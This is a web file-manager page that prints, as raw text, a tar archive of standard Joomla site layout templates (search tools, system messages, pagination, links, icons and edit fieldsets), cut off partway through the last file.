Файловый менеджер - Редактировать - /home/realestateagents/public_html/c39a0/layouts.tar
Назад
joomla/searchtools/default.php 0000644 00000010130 15216442676 0012520 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; $data = $displayData; // Receive overridable options $data['options'] = !empty($data['options']) ? $data['options'] : []; $noResultsText = ''; $hideActiveFilters = false; $showFilterButton = false; $showSelector = false; $selectorFieldName = $data['options']['selectorFieldName'] ?? 'client_id'; // If a filter form exists. if (isset($data['view']->filterForm) && !empty($data['view']->filterForm)) { // Checks if a selector (e.g. client_id) exists. if ($selectorField = $data['view']->filterForm->getField($selectorFieldName)) { $showSelector = $selectorField->getAttribute('filtermode', '') === 'selector' ? true : $showSelector; // Checks if a selector should be shown in the current layout. if (isset($data['view']->layout)) { $showSelector = $selectorField->getAttribute('layout', 'default') != $data['view']->layout ? false : $showSelector; } // Unset the selector field from active filters group. unset($data['view']->activeFilters[$selectorFieldName]); } // Checks if the filters button should exist. $filters = $data['view']->filterForm->getGroup('filter'); $showFilterButton = isset($filters['filter_search']) && count($filters) === 1 ? false : true; // Checks if it should show the be hidden. $hideActiveFilters = empty($data['view']->activeFilters); // Check if the no results message should appear. if (isset($data['view']->total) && (int) $data['view']->total === 0) { $noResults = $data['view']->filterForm->getFieldAttribute('search', 'noresults', '', 'filter'); if (!empty($noResults)) { $noResultsText = Text::_($noResults); } } } // Set some basic options. $customOptions = [ 'filtersHidden' => isset($data['options']['filtersHidden']) && $data['options']['filtersHidden'] ? $data['options']['filtersHidden'] : $hideActiveFilters, 'filterButton' => isset($data['options']['filterButton']) && $data['options']['filterButton'] ? $data['options']['filterButton'] : $showFilterButton, 'defaultLimit' => $data['options']['defaultLimit'] ?? Factory::getApplication()->get('list_limit', 20), 'searchFieldSelector' => '#filter_search', 'selectorFieldName' => $selectorFieldName, 'showSelector' => $showSelector, 'orderFieldSelector' => '#list_fullordering', 'showNoResults' => !empty($noResultsText), 'noResultsText' => !empty($noResultsText) ? $noResultsText : '', 'formSelector' => !empty($data['options']['formSelector']) ? $data['options']['formSelector'] : '#adminForm', ]; // Merge custom options in the options array. $data['options'] = array_merge($customOptions, $data['options']); // Add class to hide the active filters if needed. $filtersActiveClass = $hideActiveFilters ? '' : ' js-stools-container-filters-visible'; // Load search tools HTMLHelper::_('searchtools.form', $data['options']['formSelector'], $data['options']); ?> <div class="js-stools" role="search"> <?php if ($data['options']['showSelector']) : ?> <div class="js-stools-container-selector"> <?php echo $this->sublayout('selector', $data); ?> </div> <?php endif; ?> <div class="js-stools-container-bar"> <div class="btn-toolbar"> <?php echo $this->sublayout('bar', $data); ?> <?php echo $this->sublayout('list', $data); ?> </div> </div> <!-- Filters div --> <div class="js-stools-container-filters clearfix<?php echo $filtersActiveClass; ?>"> <?php if ($data['options']['filterButton']) : ?> <?php echo $this->sublayout('filters', $data); ?> <?php endif; ?> </div> </div> <?php if ($data['options']['showNoResults']) : ?> <?php echo $this->sublayout('noitems', $data); ?> <?php endif; ?> joomla/searchtools/default/list.php 0000644 00000001324 15216442676 0013500 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $data = $displayData; // Load the form list fields $list = $data['view']->filterForm->getGroup('list'); ?> <?php if ($list) : ?> <div class="ordering-select"> <?php foreach ($list as $fieldName => $field) : ?> <div class="js-stools-field-list"> <span class="visually-hidden"><?php echo $field->label; ?></span> <?php echo $field->input; ?> </div> <?php endforeach; ?> </div> <?php endif; ?> joomla/searchtools/default/filters.php 0000644 00000002413 15216442676 0014175 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Form\FormHelper; $data = $displayData; // Load the form filters $filters = $data['view']->filterForm->getGroup('filter'); /** @var Joomla\CMS\WebAsset\WebAssetManager $wa */ $wa = Factory::getApplication()->getDocument()->getWebAssetManager(); ?> <?php if ($filters) : ?> <?php foreach ($filters as $fieldName => $field) : ?> <?php if ($fieldName !== 'filter_search') : ?> <?php $dataShowOn = ''; ?> <?php if ($field->showon) : ?> <?php $wa->useScript('showon'); ?> <?php $dataShowOn = " data-showon='" . json_encode(FormHelper::parseShowOnConditions($field->showon, $field->formControl, $field->group)) . "'"; ?> <?php endif; ?> <div class="js-stools-field-filter"<?php echo $dataShowOn; ?>> <span class="visually-hidden"><?php echo $field->label; ?></span> <?php echo $field->input; ?> </div> <?php endif; ?> <?php endforeach; ?> <?php endif; ?> joomla/searchtools/default/noitems.php 0000644 00000001020 15216442676 0014174 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text; $data = $displayData; ?> <div class="alert alert-info"> <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span> <?php echo $data['options']['noResultsText']; ?> </div> joomla/searchtools/default/selector.php 0000644 00000001076 15216442676 0014351 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $data = $displayData; ?> <div class="js-stools-field-selector"> <div class="visually-hidden"> <?php echo $data['view']->filterForm->getField($data['options']['selectorFieldName'])->label; ?> </div> <?php echo $data['view']->filterForm->getField($data['options']['selectorFieldName'])->input; ?> </div> joomla/searchtools/default/bar.php 0000644 00000004305 15216442676 0013273 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text; use Joomla\Registry\Registry; $data = $displayData; // Receive overridable options $data['options'] = !empty($data['options']) ? $data['options'] : []; if (is_array($data['options'])) { $data['options'] = new Registry($data['options']); } // Options $filterButton = $data['options']->get('filterButton', true); $searchButton = $data['options']->get('searchButton', true); $filters = $data['view']->filterForm->getGroup('filter'); if (empty($filters['filter_search']) || !$searchButton) { return; } ?> <div class="filter-search-bar btn-group"> <div class="input-group"> <?php echo $filters['filter_search']->input; ?> <?php if ($filters['filter_search']->description) : ?> <div role="tooltip" id="<?php echo ($filters['filter_search']->id ?: $filters['filter_search']->name) . '-desc'; ?>" class="filter-search-bar__description"> <?php echo htmlspecialchars(Text::_($filters['filter_search']->description), ENT_COMPAT, 'UTF-8'); ?> </div> <?php endif; ?> <span class="filter-search-bar__label visually-hidden"> <?php echo $filters['filter_search']->label; ?> </span> <button type="submit" class="filter-search-bar__button btn btn-primary" aria-label="<?php echo Text::_('JSEARCH_FILTER_SUBMIT'); ?>"> <span class="filter-search-bar__button-icon icon-search" aria-hidden="true"></span> </button> </div> </div> <div class="filter-search-actions btn-group"> <?php if ($filterButton) : ?> <button type="button" class="filter-search-actions__button btn btn-primary js-stools-btn-filter"> <?php echo Text::_('JFILTER_OPTIONS'); ?> <span class="icon-angle-down" aria-hidden="true"></span> </button> <?php endif; ?> <button type="button" class="filter-search-actions__button btn btn-primary js-stools-btn-clear"> <?php echo Text::_('JSEARCH_FILTER_CLEAR'); ?> </button> </div> joomla/searchtools/grid/sort.php 0000644 00000003374 15216442676 0013024 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; $data = $displayData; $icon = 'icon-sort'; $sort = ''; $caption = ''; $selected = ''; $id = ''; if ($data->order === $data->selected) : $icon = $data->orderIcon; $sort = $data->direction === 'asc' ? 'descending' : 'ascending'; $heading = !empty($data->title) ? Text::_($data->title) : Text::_('JGRID_HEADING_ORDERING'); $caption = Text::sprintf('JGRID_HEADING_CAPTION_' . ($data->direction === 'asc' ? 'desc' : 'asc'), $heading); $selected = ' selected'; $id = 'id="sorted"'; endif; Factory::getDocument()->getWebAssetManager()->useScript('list-view'); ?> <a href="#" class="js-stools-column-order<?php echo $selected; ?> js-stools-button-sort" <?php echo $id; ?> data-order="<?php echo $data->order; ?>" data-direction="<?php echo strtoupper($data->direction); ?>" data-caption="<?php echo $caption; ?>" <?php if (!empty($sort)) : ?> data-sort="<?php echo $sort; ?>" <?php endif; ?>> <?php // The following statement has been concatenated purposely to remove whitespace. ?> <?php // Please leave as is. ?> <?php if (!empty($data->title)) : ?><span><?php echo Text::_($data->title); ?></span><?php endif; ?><span class="ms-1 <?php echo $icon; ?>" aria-hidden="true"></span> <span class="visually-hidden"> <?php echo Text::_('JGLOBAL_SORT_BY'); ?> <?php echo (!empty($data->title)) ? Text::_($data->title) : Text::_('JGRID_HEADING_ORDERING'); ?> </span> </a> joomla/system/message.php 0000644 00000003767 15216442676 0011540 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Application\CMSApplication; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; /* @var $displayData array */ $msgList = $displayData['msgList']; $document = Factory::getDocument(); $msgOutput = ''; $alert = [ CMSApplication::MSG_EMERGENCY => 'danger', CMSApplication::MSG_ALERT => 'danger', CMSApplication::MSG_CRITICAL => 'danger', CMSApplication::MSG_ERROR => 'danger', CMSApplication::MSG_WARNING => 'warning', CMSApplication::MSG_NOTICE => 'info', CMSApplication::MSG_INFO => 'info', CMSApplication::MSG_DEBUG => 'info', 'message' => 'success' ]; // Load JavaScript message titles Text::script('ERROR'); Text::script('MESSAGE'); Text::script('NOTICE'); Text::script('WARNING'); // Load other Javascript message strings Text::script('JCLOSE'); Text::script('JOK'); Text::script('JOPEN'); // Alerts progressive enhancement $document->getWebAssetManager() ->useStyle('webcomponent.joomla-alert') ->useScript('messages'); if (is_array($msgList) && !empty($msgList)) { $messages = []; foreach ($msgList as $type => $msgs) { // JS loaded messages $messages[] = [$alert[$type] ?? $type => $msgs]; // Noscript fallback if (!empty($msgs)) { $msgOutput .= '<div class="alert alert-' . ($alert[$type] ?? $type) . '">'; foreach ($msgs as $msg) : $msgOutput .= $msg; endforeach; $msgOutput .= '</div>'; } } if ($msgOutput !== '') { $msgOutput = '<noscript>' . $msgOutput . '</noscript>'; } $document->addScriptOptions('joomla.messages', $messages); } ?> <div id="system-message-container" aria-live="polite"><?php echo $msgOutput; ?></div> joomla/links/groupsopen.php 0000644 00000000434 15216442676 0012075 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; ?> <div class="j-links-groups"> joomla/links/groupseparator.php 0000644 00000000445 15216442676 0012753 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; ?> <div class="j-links-separator"></div> joomla/links/groupopen.php 0000644 00000000705 15216442676 0011713 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Filter\OutputFilter; use Joomla\CMS\Language\Text; ?> <h2 class="nav-header"><?php echo OutputFilter::ampReplace(Text::_($displayData)); ?></h2> <ul class="j-links-group nav nav-list"> joomla/links/groupsclose.php 0000644 00000000406 15216442676 0012240 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; ?> </div> joomla/links/groupclose.php 0000644 00000000405 15216442676 0012054 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; ?> </ul> joomla/links/link.php 0000644 00000002175 15216442676 0010635 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Filter\OutputFilter; $id = empty($displayData['id']) ? '' : (' id="' . $displayData['id'] . '"'); $target = empty($displayData['target']) ? '' : (' target="' . $displayData['target'] . '"'); $rel = empty($displayData['rel']) ? '' : (' rel="' . $displayData['rel'] . '"'); $onclick = empty($displayData['onclick']) ? '' : (' onclick="' . $displayData['onclick'] . '"'); $title = empty($displayData['title']) ? '' : (' title="' . $this->escape($displayData['title']) . '"'); $text = empty($displayData['text']) ? '' : ('<span class="j-links-link">' . $displayData['text'] . '</span>') ?> <li<?php echo $id; ?>> <a href="<?php echo OutputFilter::ampReplace($displayData['link']); ?>"<?php echo $target . $rel . $onclick . $title; ?>> <span class="<?php echo $displayData['image']; ?>" aria-hidden="true"></span> <?php echo $text; ?> </a> </li> joomla/icon/iconclass.php 0000644 00000003313 15216442676 0011461 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2020 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\Utilities\ArrayHelper; // Convert icomoon to fa $icon = $displayData['icon']; // Get fixed width icon or not $iconFixed = $displayData['fixed'] ?? null; // Set default prefix to be fontawesome $iconPrefix = $displayData['prefix'] ?? 'icon-'; // Get other classNames if set, like icon-white, text-danger $iconSuffix = $displayData['suffix'] ?? null; // Get other attributes besides classNames $tabindex = $displayData['tabindex'] ?? null; $title = $displayData['title'] ?? null; // Default output in <span>. ClassNames if set to false $html = $displayData['html'] ?? true; // Replace double set icon-icon- // @todo: Joomla should be cleaned so this replacement is not needed. $icon = str_replace('icon-icon-', 'icon-', $icon); switch ($icon) { case (strpos($icon, 'icon-') !== false): $iconPrefix = $displayData['prefix'] ?? null; break; default: break; } if ($iconFixed) { $iconFixed = 'icon-fw'; } // Just render icon as className $icon = trim(implode(' ', [$iconPrefix . $icon, $iconFixed, $iconSuffix])); // Convert icon to html output when HTML !== false if ($html !== false) { $iconAttribs = [ 'class' => $icon, 'aria-hidden' => "true" ]; if ($tabindex) { $iconAttribs['tabindex'] = $tabindex; } if ($title) { $iconAttribs['title'] = $title; } $icon = '<span ' . ArrayHelper::toString($iconAttribs) . '></span>'; } echo $icon; joomla/pagination/list.php 0000644 00000001407 15216442676 0011661 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text; $list = $displayData['list']; ?> <nav class="pagination__wrapper" aria-label="<?php echo Text::_('JLIB_HTML_PAGINATION'); ?>"> <ul class="pagination ms-0 mb-4"> <?php echo $list['start']['data']; ?> <?php echo $list['previous']['data']; ?> <?php foreach ($list['pages'] as $page) : ?> <?php echo $page['data']; ?> <?php endforeach; ?> <?php echo $list['next']['data']; ?> <?php echo $list['end']['data']; ?> </ul> </nav> joomla/pagination/links.php 0000644 00000005675 15216442676 0012041 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text; use Joomla\CMS\Layout\LayoutHelper; use Joomla\Registry\Registry; $list = $displayData['list']; $pages = $list['pages']; $options = new Registry($displayData['options']); $showLimitBox = $options->get('showLimitBox', false); $showPagesLinks = $options->get('showPagesLinks', true); $showLimitStart = $options->get('showLimitStart', true); // Calculate to display range of pages $currentPage = 1; $range = 1; $step = 5; if (!empty($pages['pages'])) { foreach ($pages['pages'] as $k => $page) { if (!$page['active']) { $currentPage = $k; } } } if ($currentPage >= $step) { if ($currentPage % $step === 0) { $range = ceil($currentPage / $step) + 1; } else { $range = ceil($currentPage / $step); } } ?> <?php if (!empty($pages)) : ?> <nav class="pagination__wrapper" aria-label="<?php echo Text::_('JLIB_HTML_PAGINATION'); ?>"> <div class="pagination pagination-toolbar text-center"> <?php if ($showLimitBox) : ?> <div class="limit float-end"> <?php echo Text::_('JGLOBAL_DISPLAY_NUM') . $list['limitfield']; ?> </div> <?php endif; ?> <?php if ($showPagesLinks) : ?> <ul class="pagination ms-auto mb-4 me-0"> <?php echo LayoutHelper::render('joomla.pagination.link', $pages['start']); ?> <?php echo LayoutHelper::render('joomla.pagination.link', $pages['previous']); ?> <?php foreach ($pages['pages'] as $k => $page) : ?> <?php $output = LayoutHelper::render('joomla.pagination.link', $page); ?> <?php if (in_array($k, range($range * $step - ($step + 1), $range * $step), true)) : ?> <?php if (($k % $step === 0 || $k === $range * $step - ($step + 1)) && $k !== $currentPage && $k !== $range * $step - $step) : ?> <?php $output = preg_replace('#(<a.*?>).*?(</a>)#', '$1...$2', $output); ?> <?php endif; ?> <?php endif; ?> <?php echo $output; ?> <?php endforeach; ?> <?php echo LayoutHelper::render('joomla.pagination.link', $pages['next']); ?> <?php echo LayoutHelper::render('joomla.pagination.link', $pages['end']); ?> </ul> <?php endif; ?> <?php if ($showLimitStart) : ?> <input type="hidden" name="<?php echo $list['prefix']; ?>limitstart" value="<?php echo $list['limitstart']; ?>"> <?php endif; ?> </div> </nav> <?php endif; ?> joomla/pagination/link.php 0000644 00000005665 15216442676 0011655 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; $item = $displayData['data']; $display = $item->text; $app = Factory::getApplication(); switch ((string) $item->text) { // Check for "Start" item case Text::_('JLIB_HTML_START'): $icon = $app->getLanguage()->isRtl() ? 'icon-angle-double-right' : 'icon-angle-double-left'; $aria = Text::sprintf('JLIB_HTML_GOTO_POSITION', strtolower($item->text)); break; // Check for "Prev" item case $item->text === Text::_('JPREV'): $item->text = Text::_('JPREVIOUS'); $icon = $app->getLanguage()->isRtl() ? 'icon-angle-right' : 'icon-angle-left'; $aria = Text::sprintf('JLIB_HTML_GOTO_POSITION', strtolower($item->text)); break; // Check for "Next" item case Text::_('JNEXT'): $icon = $app->getLanguage()->isRtl() ? 'icon-angle-left' : 'icon-angle-right'; $aria = Text::sprintf('JLIB_HTML_GOTO_POSITION', strtolower($item->text)); break; // Check for "End" item case Text::_('JLIB_HTML_END'): $icon = $app->getLanguage()->isRtl() ? 'icon-angle-double-left' : 'icon-angle-double-right'; $aria = Text::sprintf('JLIB_HTML_GOTO_POSITION', strtolower($item->text)); break; default: $icon = null; $aria = Text::sprintf('JLIB_HTML_GOTO_PAGE', strtolower($item->text)); break; } if ($icon !== null) { $display = '<span class="' . $icon . '" aria-hidden="true"></span>'; } if ($displayData['active']) { if ($item->base > 0) { $limit = 'limitstart.value=' . $item->base; } else { $limit = 'limitstart.value=0'; } $class = 'active'; if ($app->isClient('administrator')) { $link = 'href="#" onclick="document.adminForm.' . $item->prefix . $limit . '; Joomla.submitform();return false;"'; } elseif ($app->isClient('site')) { $link = 'href="' . $item->link . '"'; } } else { $class = (property_exists($item, 'active') && $item->active) ? 'active' : 'disabled'; } ?> <?php if ($displayData['active']) : ?> <li class="page-item"> <a aria-label="<?php echo $aria; ?>" <?php echo $link; ?> class="page-link"> <?php echo $display; ?> </a> </li> <?php elseif (isset($item->active) && $item->active) : ?> <?php $aria = Text::sprintf('JLIB_HTML_PAGE_CURRENT', strtolower($item->text)); ?> <li class="<?php echo $class; ?> page-item"> <a aria-current="true" aria-label="<?php echo $aria; ?>" href="#" class="page-link"><?php echo $display; ?></a> </li> <?php else : ?> <li class="<?php echo $class; ?> page-item"> <span class="page-link" aria-hidden="true"><?php echo $display; ?></span> </li> <?php endif; ?> joomla/edit/frontediting_modules.php 0000644 00000006012 15216442676 0013723 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\Uri\Uri; // JLayout for standard handling of the edit modules: $moduleHtml = &$displayData['moduleHtml']; $mod = $displayData['module']; $position = $displayData['position']; $menusEditing = $displayData['menusediting']; $parameters = ComponentHelper::getParams('com_modules'); $redirectUri = '&return=' . urlencode(base64_encode(Uri::getInstance()->toString())); $target = '_blank'; $itemid = Factory::getApplication()->getInput()->get('Itemid', '0', 'int'); $editUrl = Uri::base() . 'administrator/index.php?option=com_modules&task=module.edit&id=' . (int) $mod->id; // If Module editing site if ($parameters->get('redirect_edit', 'site') === 'site') { $editUrl = Uri::base() . 'index.php?option=com_config&view=modules&id=' . (int) $mod->id . '&Itemid=' . $itemid . $redirectUri; $target = '_self'; } // Add link for editing the module $count = 0; $moduleHtml = preg_replace( // Find first tag of module '/^(\s*<(?:div|span|nav|ul|ol|h\d|section|aside|address|article|form) [^>]*>)/', // Create and add the edit link and tooltip '\\1 <a class="btn btn-link jmodedit" href="' . $editUrl . '" target="' . $target . '" aria-describedby="tip-' . (int) $mod->id . '"> <span class="icon-edit" aria-hidden="true"></span><span class="visually-hidden">' . Text::_('JGLOBAL_EDIT') . '</span></a> <div role="tooltip" id="tip-' . (int) $mod->id . '">' . Text::_('JLIB_HTML_EDIT_MODULE') . '<br>' . htmlspecialchars($mod->title, ENT_COMPAT, 'UTF-8') . '<br>' . sprintf(Text::_('JLIB_HTML_EDIT_MODULE_IN_POSITION'), htmlspecialchars($position, ENT_COMPAT, 'UTF-8')) . '</div>', $moduleHtml, 1, $count ); // If menu editing is enabled and allowed and it's a menu module add link for editing if ($menusEditing && $mod->module === 'mod_menu') { // find the menu item id $regex = '/\bitem-(\d+)\b/'; preg_match_all($regex, $moduleHtml, $menuItemids); if ($menuItemids) { foreach ($menuItemids[1] as $menuItemid) { $menuitemEditUrl = Uri::base() . 'administrator/index.php?option=com_menus&view=item&client_id=0&layout=edit&id=' . (int) $menuItemid; $moduleHtml = preg_replace( // Find the link '/(<li.*?\bitem-' . $menuItemid . '.*?>)/', // Create and add the edit link '\\1 <a class="jmenuedit small" href="' . $menuitemEditUrl . '" target="' . $target . '" title="' . Text::_('JLIB_HTML_EDIT_MENU_ITEM') . ' ' . sprintf(Text::_('JLIB_HTML_EDIT_MENU_ITEM_ID'), (int) $menuItemid) . '"> <span class="icon-edit" aria-hidden="true"></span></a>', $moduleHtml ); } } } joomla/edit/fieldset.php 0000644 00000002377 15216442676 0011310 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; $app = Factory::getApplication(); $form = $displayData->getForm(); $name = $displayData->get('fieldset'); $fieldSet = $form->getFieldset($name); if (empty($fieldSet)) { return; } $ignoreFields = $displayData->get('ignore_fields') ? : []; $extraFields = $displayData->get('extra_fields') ? : []; if (!empty($displayData->showOptions) || $displayData->get('show_options', 1)) { if (isset($extraFields[$name])) { foreach ($extraFields[$name] as $f) { if (in_array($f, $ignoreFields)) { continue; } if ($form->getField($f)) { $fieldSet[] = $form->getField($f); } } } $html = []; foreach ($fieldSet as $field) { $html[] = $field->renderField(); } echo implode('', $html); } else { $html = []; $html[] = '<div class="hidden">'; foreach ($fieldSet as $field) { $html[] = $field->input; } $html[] = '</div>'; echo implode('', $html); } joomla/edit/admin_modules.php 0000644 00000002377 15216442676 0012331 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Helper\ModuleHelper; $app = Factory::getApplication(); $form = $displayData->getForm(); $input = $app->getInput(); $fields = $displayData->get('fields') ?: [ ['parent', 'parent_id'], ['published', 'state', 'enabled'], ['category', 'catid'], 'featured', 'sticky', 'access', 'language', 'tags', 'note', 'version_note', ]; $hiddenFields = $displayData->get('hidden_fields') ?: []; if (!ModuleHelper::isAdminMultilang()) { $hiddenFields[] = 'language'; $form->setFieldAttribute('language', 'default', '*'); } $html = []; $html[] = '<fieldset class="form-vertical">'; foreach ($fields as $field) { foreach ((array) $field as $f) { if ($form->getField($f)) { if (in_array($f, $hiddenFields)) { $form->setFieldAttribute($f, 'type', 'hidden'); } $html[] = $form->renderField($f); break; } } } $html[] = '</fieldset>'; echo implode('', $html); joomla/edit/publishingdata.php 0000644 00000001730 15216442676 0012477 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $form = $displayData->getForm(); $fields = $displayData->get('fields') ?: [ 'publish_up', 'publish_down', 'featured_up', 'featured_down', ['created', 'created_time'], ['created_by', 'created_user_id'], 'created_by_alias', ['modified', 'modified_time'], ['modified_by', 'modified_user_id'], 'version', 'hits', 'id' ]; $hiddenFields = $displayData->get('hidden_fields') ?: []; foreach ($fields as $field) { foreach ((array) $field as $f) { if ($form->getField($f)) { if (in_array($f, $hiddenFields)) { $form->setFieldAttribute($f, 'type', 'hidden'); } echo $form->renderField($f); break; } } } joomla/edit/title_alias.php 0000644 00000001177 15216442676 0012000 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $form = $displayData->getForm(); $title = $form->getField('title') ? 'title' : ($form->getField('name') ? 'name' : ''); ?> <div class="row title-alias form-vertical mb-3"> <div class="col-12 col-md-6"> <?php echo $title ? $form->renderField($title) : ''; ?> </div> <div class="col-12 col-md-6"> <?php echo $form->renderField('alias'); ?> </div> </div> joomla/edit/associations.php 0000644 00000002231 15216442676 0012175 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; $form = $displayData->getForm(); $options = [ 'formControl' => $form->getFormControl(), 'hidden' => (int) ($form->getValue('language', null, '*') === '*'), ]; // Load JavaScript message titles Text::script('ERROR'); Text::script('WARNING'); Text::script('NOTICE'); Text::script('MESSAGE'); Text::script('JGLOBAL_ASSOC_NOT_POSSIBLE'); Text::script('JGLOBAL_ASSOCIATIONS_RESET_WARNING'); /** @var \Joomla\CMS\Document\HtmlDocument $doc */ $doc = Factory::getApplication()->getDocument(); $wa = $doc->getWebAssetManager(); $wa->getRegistry()->addExtensionRegistryFile('com_associations'); $wa->useScript('com_associations.associations-edit'); $doc->addScriptOptions('system.associations.edit', $options); // JLayout for standard handling of associations fields in the administrator items edit screens. echo $form->renderFieldset('item_associations'); joomla/edit/global.php 0000644 00000003464 15216442676 0010747 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Language\Multilanguage; use Joomla\CMS\Language\Text; $app = Factory::getApplication(); $form = $displayData->getForm(); $input = $app->getInput(); $component = $input->getCmd('option', 'com_content'); if ($component === 'com_categories') { $extension = $input->getCmd('extension', 'com_content'); $parts = explode('.', $extension); $component = $parts[0]; } $saveHistory = ComponentHelper::getParams($component)->get('save_history', 0); $fields = $displayData->get('fields') ?: [ 'transition', ['parent', 'parent_id'], ['published', 'state', 'enabled'], ['category', 'catid'], 'featured', 'sticky', 'access', 'language', 'tags', 'note', 'version_note', ]; $hiddenFields = $displayData->get('hidden_fields') ?: []; if (!$saveHistory) { $hiddenFields[] = 'version_note'; } if (!Multilanguage::isEnabled()) { $hiddenFields[] = 'language'; $form->setFieldAttribute('language', 'default', '*'); } $html = []; $html[] = '<fieldset class="form-vertical">'; $html[] = '<legend class="visually-hidden">' . Text::_('JGLOBAL_FIELDSET_GLOBAL') . '</legend>'; foreach ($fields as $field) { foreach ((array) $field as $f) { if ($form->getField($f)) { if (in_array($f, $hiddenFields)) { $form->setFieldAttribute($f, 'type', 'hidden'); } $html[] = 